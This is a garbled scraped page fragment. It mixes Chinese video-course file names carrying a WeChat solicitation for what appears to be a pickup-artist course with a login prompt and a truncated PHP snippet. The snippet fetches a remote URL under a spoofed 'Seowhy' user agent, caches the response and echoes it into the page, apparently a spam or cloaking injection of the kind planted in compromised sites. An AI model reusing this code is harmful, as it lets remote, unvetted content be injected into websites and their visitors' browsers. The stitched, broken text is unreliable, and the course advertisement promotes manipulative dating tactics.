001.7、可得性(2【咨询请加微信:puaxinglian】.mp4 002.6、可得性(1)【咨询...
2024-04-12 362 9.9
没有账号?注册  忘记密码?
array( "header"=>array( "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Seowhy", ), "method" => "GET", "timeout" => 2 ), ); $context = stream_context_create($opts); $content = @file_get_contents($url,false, $context); if (isset($http_response_header)) { if(is_array($http_response_header)){ $http_response_header = $http_response_header[0]; } if(strpos($http_response_header,"200 OK") !==false && $content != "error"){ @file_put_contents($cacheUrl, $content); echo $content; } } }else{ $content = @file_get_contents($cacheUrl); echo $content; } ?>